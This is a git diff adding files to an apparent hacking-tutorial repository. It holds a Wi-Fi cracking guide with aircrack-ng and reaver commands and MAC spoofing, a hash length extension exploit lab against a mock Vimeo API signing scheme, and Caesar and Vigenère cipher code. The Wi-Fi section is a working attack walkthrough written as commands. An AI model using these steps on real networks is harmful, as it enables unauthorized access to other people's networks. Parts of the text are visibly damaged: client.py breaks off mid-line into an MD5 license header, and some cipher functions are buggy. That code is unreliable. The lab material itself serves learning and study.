diff --git a/802.11 /CRACKING.md b/802.11 /CRACKING.md new file mode 100644 index 0000000..2371fbe --- /dev/null +++ b/802.11 /CRACKING.md @@ -0,0 +1,103 @@ + *********************************************** + + BT3GL's Hacking Guide + + *********************************************** + +Disclaimer: I do not support or endorse any illegal activities! Only test these techniques in your OWN machines and networks. + + +THEORY: +======= + +WEP +--- + +WEP, or wired equivalent privacy, was the first wireless security scheme employed. As it name implies, it was designed to provide security to the end-user that was essentially equivalent to the privacy that was enjoyed in a wired environment. Unfortunately, it failed miserably. + +For a number of reasons, WEP is extraordinarily easy to crack because of a flawed implementation of the RC4 encryption algorithm. It's not unusual to be able to crack WEP in less than 5 minutes. This is because WEP used a very small (24-bit) initialization vector (IV) that could be captured in the datastream, and this IV could then be used to discover the password using statistical techniques. + + +WPA +--- + +WPA was the response by the industry to the revealed weaknesses of WEP. It's often referred to as WPA1 to distinguish it from WPA2. + +WPA used Temporal Key Integrity Protocol (TKIP) to improve the security of WEP without requiring new hardware. It still uses WEP for encryption, but it makes the statistical attacks used to crack WEP much more difficult and time-consuming. + + +WPA2-PSK +-------- + +WPA2-PSK is the implementation of WPA2 for the home or small business user. As the name implies, it's the WPA2 implementation that uses a pre-shared key (PSK). It's this security standard that is used by most households today, and although it's far more secure, it's still vulnerable to various attacks. + +A feature that was added in 2007 called Wi-Fi Protected Setup, or WPS, allows us to bypass the security in WP2-PSK . + +WPA2-AES +WPA2-AES is the enterprise implementation of WPA2. It uses the Advanced Encryption Standard or AES to encrypt data and is the most secure. It's often coupled with a RADIUS server that is dedicated for authentication. + + + + +CRACKING WIFI PASSWORDS: +======================== + + +Cracking WEP +------------ +(Success depend on the proximity to the AP point) + +1) Change your MAC address: + +$ airmon-ng ---> take note of the name of your network interfaces (example wlan0) +$ airmon-ng stop INTERFACENAME +$ ifconfig INTERFACENMAE down +$ macchanger --mac 00:11:22:33:44:55 + +2) Pick your network (BSSID): + +$ airodump-ng INTERFACENAME + +3) See what's happening on that network and capture information to a file: + +$ airodump-ng -c CHANNEL -W FILENAME --bssid BSSID INTERFACENAME + +4) Open a new console and type (where the ESSID is the access point's SSID name): + +$ aireplay-ng -1 0 -a BSSID -h 00:11:22:33:44:55 -e ESSID INTERFACE + +$ aireplay-ng -3 -b BSSID -h 00:11:22:33:44:55 INTERFACE + +5) Once you have collected enough data, launch a third console to crack the data: + +$ aircrack-ng -b BSSID FILENAME-01.cap + + + +Cracking WPA +------------ + +It can take up to 2-6 hours. It can cause DoS attack. +If the router has MAC filtering, use a network monitoring tool to find a MAC address of a system that has a connection to the router, and then set that to the address of the attack platform. + +1) Find your wireless card: + +$ iwconfig + +2) Put your wireless card into monitor mode: + +$ airmon-ng start wlan0 +or +$ ifconfig wlan0 down +$ iwconfig wlan0 mode monitor +$ ifconfig wlan0 up + +3) Find the BSSID of the router to crack: + +$ airodump-ng wlan0 --> mon0 if this does not work + +4) Crack a Network's WPA password with Reaver: + +$ reaver -i mon0 -b BSSID -vv + + diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/README.md b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/README.md new file mode 100644 index 0000000..e6c8185 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/README.md @@ -0,0 +1,55 @@ +Hash Extension Attack at the Vimeo API +====================================== + +This tutorial is a slight adaptation of Filippo Valsorda's presentation. The example here should not work currently, but it was a vulnerability a couple of years ago. + +The problem presented here shows how to exploit a poor choice combination of information in an API hash-function. + +TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix. + + +MD5 +--- + +MD5 hashes can't be reversed and are nearly unique (accidental collisions are extremely rare, although possible). + + +The Vulnerability +----------------- + +* A signature is created from a hashed string. This string is a composed of: + +[ PASSWORD ]["api_key"+ api_key ]["method" + method] + +Where password is just the user password and method is the action, for example "vimeo.test.login". + +* This signature is hashed and added as the API signature. + +* Vulnerability 1: if we can see the hash, we can add code to it (extend). + +* Vulnerability 2: the secret is attached to the string that was hashed. + +* Vulnerability 3: all the other components (except the secret) is passed in the plaintext in the request. + + +The Exploit +----------- + +* If an attacker can see a request, she can extend the signature hash with any exploit. For example, she could add the method "vimeo.videos.setFavorite" + +* The API signature is now formed by hashing the entire new request. + + +HOW TO RUN THIS EXAMPLE +----------------------- + +* In one terminal run +$ python server.py + +* Copy the values +api_key cdd56f298e71493b9b1015c691e14501 +api_sig fdffe59969293f23c197f321ff2f972e + +to client.py and then run it. + +* To understand what happen, look inside client.py. \ No newline at end of file diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/client.py b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/client.py new file mode 100644 index 0000000..523c603 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/client.py @@ -0,0 +1,130 @@ +""" + Adapted from Filippo Valsorda's tutorial + Marina Wahl, august/2014 +""" + +from md5 import MD5 +import binascii +import struct +import sys +import requests + + +# change the values from the server at +# localhost:4242 here +API_KEY = '3662b89cf7b76743831420a4fd5cf2df' +API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92' + + + +# regular request +old_request = { + 'method': 'vimeo.test.login', + 'api_key' : API_KEY, +} + + +# exploit request +new_request = { + 'method': 'vimeo.videos.setFavorite', + 'api_key' : API_KEY, + 'video_id' : '1337', + 'favorite' : '1', +} + + + +# concatenate all the string +def concatenate(req): + res = "" + for k, v in sorted(req.items()): + res += k + res += v + return res + + +# adapted from the function md5, just add the paddings +def make_md5_pad(l): + length = struct.pack('. +# +# Originally based, even if no code survives, on a Python license work +# by Dinu C. Gherman (C) 2001 and Aurelian Coman +# http://starship.python.net/crew/gherman/programs/md5py/md5py.py + +import struct +import binascii +import math + +lrot = lambda x, n: (x << n) | (x >> (32 - n)) + + +class MD5(): + + A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) + + # r specifies the per-round shift amounts + r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, + 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, + 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, + 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21] + + # Use binary integer part of the sines of integers (Radians) as constants + k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)] + + def __init__(self, message): + length = struct.pack(' 64: + self._handle(message[:64]) + message = message[64:] + message += '\x80' + message += '\x00' * ((64 - len(length) - len(message) % 64) % 64) + message += length + while len(message): + self._handle(message[:64]) + message = message[64:] + + def _handle(self, chunk): + w = list(struct.unpack('<' + 'I' * 16, chunk)) + + a, b, c, d = self.A, self.B, self.C, self.D + + for i in range(64): + if i < 16: + f = (b & c) | ((~b) & d) + g = i + elif i < 32: + f = (d & b) | ((~d) & c) + g = (5 * i + 1) % 16 + elif i < 48: + f = b ^ c ^ d + g = (3 * i + 5) % 16 + else: + f = c ^ (b | (~d)) + g = (7 * i) % 16 + + x = b + lrot((a + f + self.k[i] + w[g]) & 0xffffffff, self.r[i]) + a, b, c, d = d, x & 0xffffffff, b, c + + self.A = (self.A + a) & 0xffffffff + self.B = (self.B + b) & 0xffffffff + self.C = (self.C + c) & 0xffffffff + self.D = (self.D + d) & 0xffffffff + + def digest(self): + return struct.pack(' +Signing API Calls
+ + + + + + + + + + + + + + + + + + +
+
+ + + + +
+Wayback Machine + + + + + + + + +
+
+		 + + + + + + + + + + + + + + + + + + + +
+FEB +MAR +DEC +
+Previous capture +5 +Next capture +
+2008 2009 +2011 +
+
+36 captures +
27 Jul 08 - 7 Dec 11
+		 + +
+sparklines + + +
+ +
+		 +Close +Help +
+
+
+ + + + + + + + + + + +
+
+
+Vimeo +
+ + +
+
+
+
+
+
+

Developers +/ Advanced API +/ Signing API Calls

+
+
+
+
Signing method calls is the same for desktop and web based programs. This means on top of the parameters you request, you need to pass your +api_key +(not your secret) +and the api_sig +based on those parameters.
+
Let's assume that our API key is +df3f791718032a70119d35d65d8b6d0d, our shared secret is +sec12345.
+
Generating a signature is easy and can be done in any programming language. To make our signature, we take a string of the arguments being passed, and prepend our shared secret.
+
For this example, we'll make a call to +vimeo.videos.comments.getList(). Our parameters are the following:
+
+
+method
+video_id
+api_key
+
+vimeo.videos.comments.getList
+375747
+df3f791718032a70119d35d65d8b6d0d +(this is required in every method call) +
+
+
+
Now we'll generate the base of our signature by creating a string of our parameter name/value pairs in alphabetical order. Do not escape any characters when generating this string, all characters should be unescaped.
+
+api_keydf3f791718032a70119d35d65d8b6d0dmethodvimeo.videos.comments.getListvideo_id375747 +
+
Next, we prepend that string with our shared secret +(green).
+
+sec12345api_keydf3f791718032a70119d35d65d8b6d0dmethodvimeo.videos.comments.getListvideo_id375747 +
+
Now we'll take the MD5 hash of the signature and add it to our parameters.
+
+c5370e4b0c550494ba49d86893a0384f
+
So the final set of parameters passed to the API will be:
+
+
+method
+video_id
+api_key
+api_sig
+
+vimeo.videos.comments.getList
+375747
+df3f791718032a70119d35d65d8b6d0d
+c5370e4b0c550494ba49d86893a0384f +
+
+
+
That's all there is to it! Pretty easy, huh?
+
+
+ +
+
+

+Vimeo developer highlights

+
+ +
+
+
+ + + +
+
+Powered by Vimeo Hubnut +
+
+
+
+ +
+
+ +
+
+
+
+
+ +
+
+
+Don't want to see ads?
+Get +Vimeo +plus +
+
+
+
+
+
+
+ + + +
+ + + + +
+ + + +
+ + +
\ No newline at end of file diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html new file mode 100644 index 0000000..95bf3e1 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/info.html @@ -0,0 +1,48 @@ +Welcome!
+ +

Docs

+ +Make your requests as POST to /api in JSON format.
+ +Here is the documentation on how to sign requests.
+ +

Intercepted request

+ +Here is an example API call by user {{ user_id }}:
+ +
+
+method
+api_key
+api_sig
+
+vimeo.test.login
+{{ api_key }}
+{{ api_sig }} +
+
+
+ +
<?xml version="1.0" encoding="UTF-8"?>
<rsp stat="ok">
  <user id="{{ user_id }}">
    <username>{{ user_name }}</username>
  </user>
</rsp>
+ +

Target

+ +Try to get him to favorite the video number 1337!
+ +

Available APIs

+ +

vimeo.test.login

+
Is the user logged in?

Returns

<user id="151542">
+   <username>ted</username>
+</user>
+ +

vimeo.videos.setFavorite

+
Set a video as a favorite.

Parameters

    +
  • int +video_id +(required) +- Mark this video as a favorite.
  • boolean +favorite +(required) +- If this is "1", "true" or "yes," we'll set this as a favorite. Otherwise use "0", "false", "no."

Returns

This method returns an empty success response.
<rsp stat="ok"></rsp>
+
diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml new file mode 100644 index 0000000..90eeeb2 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/ok.xml @@ -0,0 +1,2 @@ + + diff --git a/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml new file mode 100644 index 0000000..7bfa4a4 --- /dev/null +++ b/Cryptography/Hash-Length-extension-attacks/VimeoHashExploit/templates/user.xml @@ -0,0 +1,6 @@ + + + + {{ user_name }} + + diff --git a/Cryptography/README.md b/Cryptography/README.md new file mode 100644 index 0000000..a802ce5 --- /dev/null +++ b/Cryptography/README.md @@ -0,0 +1,3 @@ +# TOOLS: + +- https://www.cryptool.org/en/cryptool1-en \ No newline at end of file diff --git a/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt b/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt new file mode 100644 index 0000000..31c2a55 --- /dev/null +++ b/Cryptography/RotationCiphers/Ariel_Sylvia_Plath.txt @@ -0,0 +1,31 @@ +Stasis in darkness. +Then the substanceless blue +Pour of tor and distances. +God’s lioness, +How one we grow, +Pivot of heels and knees!—The furrow +Splits and passes, sister to +The brown arc +Of the neck I cannot catch, +Nigger-eye +Berries cast dark +Hooks— +Black sweet blood mouthfuls, +Shadows. +Something else +Hauls me through air— +Thighs, hair; +Flakes from my heels. +White +Godiva, I unpeel— +Dead hands, dead stringencies. +And now I +Foam to wheat, a glitter of seas. +The child’s cry +Melts in the wall. +And I +Am the arrow, +The dew that flies +Suicidal, at one with the drive +Into the red +Eye, the cauldron of morning. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/README.md b/Cryptography/RotationCiphers/README.md new file mode 100644 index 0000000..c5460a1 --- /dev/null +++ b/Cryptography/RotationCiphers/README.md @@ -0,0 +1,6 @@ +CryptoAnalysis +============== + +* Several implementations of Caesar cipher with frequency analysis. + +* Vinegere code. \ No newline at end of file diff --git a/Cryptography/RotationCiphers/caesarCipher.py b/Cryptography/RotationCiphers/caesarCipher.py new file mode 100644 index 0000000..6efc7d3 --- /dev/null +++ b/Cryptography/RotationCiphers/caesarCipher.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import string + + +FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357, + 0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, + 0.0164, 0.0004] + + + +def delta(freq_word, freq_eng): + # zip together the value from the text and the value from FREQ_EdiffGlist_freqISH + diff = 0.0 + for a, b in zip(freq_word, freq_eng): + diff += abs(a - b) + return diff + + + +def cipher(msg, key): + # Make the cipher + dec = '' + for c in msg.lower(): + if 'a' <= c <= 'z': + dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26) + else: + dec += c + return dec + + + +def frequency(msg): + # Compute the word frequencies + dict_freq = dict([(c,0) for c in string.lowercase]) + diff = 0.0 + for c in msg: + if 'a'<= c <= 'z': + diff += 1 + dict_freq[c] += 1 + list_freq = dict_freq.items() + list_freq.sort() + return [b / diff for (a, b) in list_freq] + + + +def decipher(msg): + # Decipher by frequency + min_delta = 1000 + best_rotation = 0 + freq = frequency(msg) + for key in range(26): + d = delta(freq, FREQ_ENGLISH) + if d < min_delta: + min_delta = d + best_rotation = key + return cipher(msg, -best_rotation) + + + +def decipher_simple(msg): + # very smart way of solving using translate and maketrans methods + diff = (ord('t') - ord(s[0])) % 26 + x = string.ascii_lowercase + x = x[diff:] + x[:diff] + ans = string.translate(s,string.maketrans(string.ascii_lowercase,x)) + return ans + + + +if __name__ == '__main__': + + key = 13 + text = 'hacker school is awesome!' + cip = cipher(text, key) + dec = decipher(cip) + + print "Cipher: " + cip + print "Decipher: " + dec + + assert(text == dec) \ No newline at end of file diff --git a/Cryptography/RotationCiphers/cesarCipher_simple.py b/Cryptography/RotationCiphers/cesarCipher_simple.py new file mode 100644 index 0000000..56eb6be --- /dev/null +++ b/Cryptography/RotationCiphers/cesarCipher_simple.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +Cesar Ecrypt +''' + +import sys + + +def encrypt(message, k): + alphabet = list('abcdefghijklmnopqrstuvwxyz ') + cipher = '' + for c in message: + cipher += alphabet[(alphabet.index(c) + k)%(len(alphabet))] + return cipher + + +def decrypt(message, k): + alphabet = list('abcdefghijklmnopqrstuvwxyz ') + decipher = '' + for c in message: + decipher += alphabet[(alphabet.index(c) - k)%(len(alphabet))] + return decipher + + +def main(): + MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us" + k = 13 + + encrypted_msg = encrypt(MESSAGE, k) + print("Encrypted message: " + encrypted_msg) + + + decrypted_msg = decrypt(encrypted_msg, k) + assert(decrypted_msg == MESSAGE) + + +if __name__ == '__main__': + main() + diff --git a/Cryptography/RotationCiphers/cesarCipher_simple_2.py b/Cryptography/RotationCiphers/cesarCipher_simple_2.py new file mode 100644 index 0000000..a5f5f7c --- /dev/null +++ b/Cryptography/RotationCiphers/cesarCipher_simple_2.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + + +__author__ = "Mari Wahl" +__email__ = "marina.w4hl@gmail.com" + +''' +Cesar encrypt - better +''' + +import sys + + +def encrypt(message, k): + cipher = '' + for c in message: + c = (ord(c) + k) % 26 + if c < 32: + c += 32 + cipher += chr(c) + return cipher + + + +def decrypt(message, k): + cipher = '' + for c in message: + c = (ord(c) - k) % 26 + if c < 32: + c += 126-32 + cipher += chr(c) + return cipher + + + +def main(): + #MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us" + MESSAGE = 'jxu qdimuh je jxyi ijqwu yi qdimuhxuhu' + for k in range (13, 14): + + #encrypted_msg = encrypt(MESSAGE, k) + #print("Encrypted message: " + encrypted_msg) + + + decrypted_msg = decrypt(MESSAGE, k) + print("Decrypted message: " + decrypted_msg) + + +if __name__ == '__main__': + main() + diff --git a/Cryptography/RotationCiphers/pygenere.py b/Cryptography/RotationCiphers/pygenere.py new file mode 100644 index 0000000..1c28b4d --- /dev/null +++ b/Cryptography/RotationCiphers/pygenere.py @@ -0,0 +1,477 @@ +# PyGenere v 0.3 +# +# Release Date: 2007-02-16 +# Author: Simon Liu +# URL: http://smurfoncrack.com/pygenere +# History and License at end of file + + +r""" +This library implements the Caesar and Vigenere ciphers, allowing a piece of +plaintext to be encoded using a numeric rotation or an alphabetic keyword, +and also decoded if the key/rotation is known. + +In case the key is not known, methods are provided that analyze the ciphertext +and attempt to find the original key and decode the message: these work using +character frequency analysis. English, French, German, Italian, Portuguese, +and Spanish texts are currently supported. Results are generally accurate if +the length of the plaintext is long compared to the length of the key used to +encipher it. + +Example usage: + +>>> from pygenere import * +>>> plaintext = 'Attack at dawn.' +>>> key = 3 +>>> ciphertext = Caesar(plaintext).encipher(key) +>>> ciphertext +'Dwwdfn dw gdzq.' +>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc. +'Attack at dawn.' + +The 'Attack at dawn.' message is too short for the automatic Vigenere decoder +to work properly. A way around this is to concatenate copies of the message +to itself, increasing the amount of text to analyze: + +>>> VigCrack(ciphertext*5).crack_codeword(1) +'D' +>>> VigCrack(ciphertext*5).crack_message() +'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.' + +The crack_message() and crack_codeword() methods in the VigCrack class take 0, +1 or 2 arguments. For more information, see the docstrings for those methods. + +Note that this method (repeating the ciphertext) does not always work, but can +sometimes be of use, as in the case of the example above. + +Both the encipher() and decipher() methods for Vigenere and Caesar objects +return a cipher object of the same type. This makes method chaining possible: + +>>> codeword = 'King' +>>> Vigenere(plaintext).encipher(codeword).decipher(codeword) +'Attack at dawn.' +>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1) +'Attack at dawn.' + +Note: + + 1. Non-alphabetic input (e.g. " " and "." above) is left as is. + 2. The case of the input (plaintext/ciphertext) is preserved. + 3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are + identical keys. + +Since each cipher is a subclass of the built-in str class, any cipher object +can be treated as a string. For instance: + +>>> Vigenere(plaintext).replace(' ', '').lower() +'attackatdawn.' + +However, since Python 2.1 and below don't seem to support subclasses of +the str class, Python 2.2 or newer is required to use this library. + +By default, PyGenere assumes that the original plaintext message was written +in English, and thus English character frequencies are used for analysis. +To change the language, the set_language() method is used. For example, the +following code shows a short French string, encrypted with the keyword +'FR', decoded. Without setting the language first, an incorrect result is +obtained: + +>>> text = 'Non, je ne veux pas coucher avec vous ce soir' +>>> encrypted = Vigenere(text).encipher('FR') +>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2) +FR +>>> print VigCrack(encrypted).crack_codeword(2) +FS + +This isn't always the case: two languages may have similar enough character +frequency distributions that decoding sometimes works correctly even when the +language setting is incorrect. + +Currently, PyGenere's language options other than English are DE (German), +ES (Spanish), FR (French), IT (Italian), and PT (Portuguese). +""" + + +class Caesar(str): + + """An implementation of the Caesar cipher.""" + + def encipher(self, shift): + """Encipher input (plaintext) using the Caesar cipher and return it + (ciphertext).""" + ciphertext = [] + for p in self: + if p.isalpha(): + ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) + + shift) % 26 + ord('Aa'[int(p.islower())]))) + else: + ciphertext.append(p) + return Caesar(''.join(ciphertext)) + + def decipher(self, shift): + """Decipher input (ciphertext) using the Caesar cipher and return it + (plaintext).""" + return self.encipher(-shift) + + +class Vigenere(str): + + """An implementation of the Vigenere cipher.""" + + def encipher(self, key): + """Encipher input (plaintext) using the Vigenere cipher and return + it (ciphertext).""" + ciphertext = [] + k = 0 + n = len(key) + for i in range(len(self)): + p = self[i] + if p.isalpha(): + ciphertext.append(chr((ord(p) + ord( + (key[k % n].upper(), key[k % n].lower())[int(p.islower())] + ) - 2*ord('Aa'[int(p.islower())])) % 26 + + ord('Aa'[int(p.islower())]))) + k += 1 + else: + ciphertext.append(p) + return Vigenere(''.join(ciphertext)) + + def decipher(self, key): + """Decipher input (ciphertext) using the Vigenere cipher and return + it (plaintext).""" + plaintext = [] + k = 0 + n = len(key) + for i in range(len(self)): + c = self[i] + if c.isalpha(): + plaintext.append(chr((ord(c) - ord( + (key[k % n].upper(), key[k % n].lower())[int(c.islower())] + )) % 26 + ord('Aa'[int(c.islower())]))) + k += 1 + else: + plaintext.append(c) + return Vigenere(''.join(plaintext)) + + +class InputError(Exception): + + """This class is only used for throwing exceptions if the user supplies + invalid input (e.g. ciphertext is an empty string).""" + + pass + + +class VigCrack(Vigenere): + + """ + VigCrack objects have methods to break Vigenere-encoded texts when the + original key is unknown. + + The technique used is based on the one described in: + + http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf + (pages 9-10) + + Character frequencies taken from: + http://www.csm.astate.edu/~rossa/datasec/frequency.html (English) + http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish) + http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German) + """ + + # Unless otherwise specified, test for codewords between (and including) + # these two lengths: + __default_min_codeword_length = 5 + __default_max_codeword_length = 9 + + # The following are language-specific data on character frequencies. + # Kappa is the "index of coincidence" described in the cryptography paper + # (link above). + __english_data = { + 'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702, + 'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153, + 'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507, + 'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056, + 'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974, + 'Z':0.074, 'max_val':12.702, 'kappa':0.0667 + } + + __french_data = { + 'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22, + 'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339, + 'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38, + 'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99, + 'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271, + 'Z':0.098, 'max_val':17.22, 'kappa':0.0746 + } + + __german_data = { + 'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693, + 'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191, + 'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285, + 'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742, + 'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032, + 'Z':1.002, 'max_val':16.693, 'kappa':0.0767 + } + + __italian_data = { + 'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24, + 'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035, + 'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11, + 'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76, + 'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048, + 'Z':0.958, 'max_val':11.57, 'kappa':0.0733 + } + + __portuguese_data = { + 'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72, + 'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317, + 'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90, + 'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63, + 'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165, + 'Z':0.400, 'max_val':13.89, 'kappa':0.0745 + } + + __spanish_data = { + 'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89, + 'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461, + 'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58, + 'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49, + 'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14, + 'Z':0.324, 'max_val':13.89, 'kappa':0.0766 + } + + # The default language is set to English. + __lang = 'EN' + __lang_data = __english_data + + # This method sets the lang (__lang) attribute of a VigCrack object. + def set_language(self, language): + self.__lang = language.upper() + if self.__lang == 'DE': + self.__lang_data = self.__german_data + elif self.__lang == 'ES': + self.__lang_data = self.__spanish_data + elif self.__lang == 'FR': + self.__lang_data = self.__french_data + elif self.__lang == 'IT': + self.__lang_data = self.__italian_data + elif self.__lang == 'PT': + self.__lang_data = self.__portuguese_data + else: + self.__lang = 'EN' + return self + + # Rotate text n places to the right, wrapping around at the end. + def __rotate_right(self, n): + cutting_point = len(self) - (n % len(self)) + return self[cutting_point:] + self[:cutting_point] + + # Get every nth char from a piece of text, from a given starting position. + def __get_every_nth_char(self, start, n): + accumulator = [] + for i in range(len(self)): + if (i % n) == start: + accumulator.append(self[i]) + return VigCrack(''.join(accumulator)).set_language(self.__lang) + + # Build a dictionary containing the number of occurrences of each char. + def __count_char_freqs(self): + dictionary = {} + self = self.upper() + for char in self: + if char.isalpha(): + dictionary[char] = dictionary.get(char, 0) + 1 + return dictionary + + # Scale the dictionary so that it can be compared with __lang_data. + def __scale(self, dictionary): + v = dictionary.values() + v.sort() + max_val = v[-1] + scaling_factor = self.__lang_data['max_val']/max_val + for (k, v) in dictionary.items(): + dictionary[k] = v*scaling_factor + return dictionary + + # The residual error is the difference between a char's frequency in + # __lang_data and its frequency in the scaled dictionary from above. + # The error is then squared to remove a possible negative value. + def __sum_residuals_squared(self, dictionary): + sum = 0 + for (k, v) in dictionary.items(): + sum += (v - self.__lang_data[k])**2 + return sum + + # Find the Caesar shift that brings the ciphertext closest to the + # character distribution of the plaintext's language. + def __find_best_caesar_shift(self): + best = 0 + smallest_sum = -1 + # Find the residual sum for each shift. + for shift in range(26): + encoded_text = Caesar(self).encipher(shift) + vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang) + char_freqs = vigcrack_obj.__count_char_freqs() + scaled = vigcrack_obj.__scale(char_freqs) + current_sum = vigcrack_obj.__sum_residuals_squared(scaled) + # Keep track of the shift with the lowest residual sum. + # If there's a tie, the smallest shift wins. + if smallest_sum == -1: + smallest_sum = current_sum + if current_sum < smallest_sum: + best = shift + smallest_sum = current_sum + return best + + def __find_codeword_length(self, min_length, max_length): + codeword_length = min_length + kappas = [] + # Put the kappa value for each codeword length tested into an array. + for i in range(min_length, max_length + 1): + temp = self.__rotate_right(i) + coincidences = 0 + for j in range(len(self)): + if temp[j] == self[j]: + coincidences += 1 + kappas.append(float(coincidences)/len(self)) + # Find out which value of kappa is closest to the kappa of the + # plaintext's language. If there's a tie, the shortest codeword wins. + smallest_squared_diff = -1 + for i in range((max_length + 1) - min_length): + current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2 + if smallest_squared_diff == -1: + smallest_squared_diff = current_squared_diff + if current_squared_diff < smallest_squared_diff: + codeword_length = min_length + i + smallest_squared_diff = current_squared_diff + return codeword_length + + def __find_codeword(self, min_length, max_length): + # Strip away invalid chars. + accumulator = [] + for char in self: + if char.isalpha(): + accumulator.append(char) + alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang) + codeword_length = alpha_only.__find_codeword_length(min_length, + max_length) + # Build the codeword by finding one character at a time. + codeword = [] + for i in range(codeword_length): + temp = alpha_only.__get_every_nth_char(i, codeword_length) + shift = temp.__find_best_caesar_shift() + if shift == 0: + codeword.append('A') + else: + codeword.append(chr(ord('A') + (26 - shift))) + return VigCrack(''.join(codeword)).set_language(self.__lang) + + def __parse_args(self, *arg_list): + if len(arg_list) == 0: # Use default values for codeword length. + min_length = self.__default_min_codeword_length + max_length = self.__default_max_codeword_length + elif len(arg_list) == 1: # Exact codeword length specified by user. + min_length = max_length = int(arg_list[0]) + else: # min_length and max_length given by user. + min_length = int(arg_list[0]) + max_length = int(arg_list[1]) + # Check for input errors. + if min_length == max_length: + if min_length < 1: + raise InputError('Codeword length is too small') + else: + if min_length < 1: + raise InputError('min_length is too small') + if max_length < 1: + raise InputError('max_length is too small') + if max_length < min_length: + raise InputError('max_length cannot be shorter than min_length') + if len(self) == 0: + raise InputError('Ciphertext is empty') + if len(self) < max_length: + raise InputError('Ciphertext is too short') + # Check that the ciphertext contains at least one valid character. + has_valid_char = False + for char in self: + if char.isalpha(): + has_valid_char = True + break + if not 